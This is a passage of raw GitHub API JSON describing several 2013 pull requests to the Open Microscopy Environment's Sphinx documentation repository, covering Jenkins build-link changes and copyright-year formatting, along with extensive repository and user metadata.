With this PR it'll be formatted to the current year in which the docs have been built (depending on the settings of the build system).\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/218.diff","id":3735194,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"dd7e4e54f700f8e7c1ddf4933bacf5d07016ac5b","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/217/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/217"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/217"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/217"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/217/comments"}},"title":"Replace lastSuccessfulBuild by lastBuild (rebased onto develop)","state":"closed","number":217,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/217","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/jenkins_testing","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"da6d9e295c41764d7c743b4e7edd286a81262249","ref":"rebased/develop/jenkins_testing"},"assignee":null,"updated_at":"2013-01-18T12:14:04Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/217/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/217/commits","closed_at":"2013-01-18T12:14:04Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/217","merged_at":"2013-01-18T12:14:04Z","merge_commit_sha":"286311c7e778e5965ae34b06b06ba981073e6926","created_at":"2013-01-18T07:50:09Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/217/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/217.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/217","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-216 but rebased onto develop.\n\n----\n\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/217.diff","id":3734536,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"dd7e4e54f700f8e7c1ddf4933bacf5d07016ac5b","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/216/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/216"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/216"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/216"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/216/comments"}},"title":"Replace lastSuccessfulBuild by lastBuild","state":"closed","number":216,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/216","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:jenkins_testing","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"adcc80e6b418175aa1594dff143e9009e8e9bbd5","ref":"jenkins_testing"},"assignee":null,"updated_at":"2013-01-21T11:59:23Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/216/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/216/commits","closed_at":"2013-01-18T12:14:16Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/216","merged_at":"2013-01-18T12:14:16Z","merge_commit_sha":"d8ba7dc891c192be315161b817cca16406b7092c","created_at":"2013-01-18T07:49:40Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/216/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/216.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/216","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/216.diff","id":3734532,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1843d7a435646ed07dd56821b5d9ba02105cd716","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/215/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/215"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/215"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/215"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/215/comments"}},"title":"Make the copyright date the current 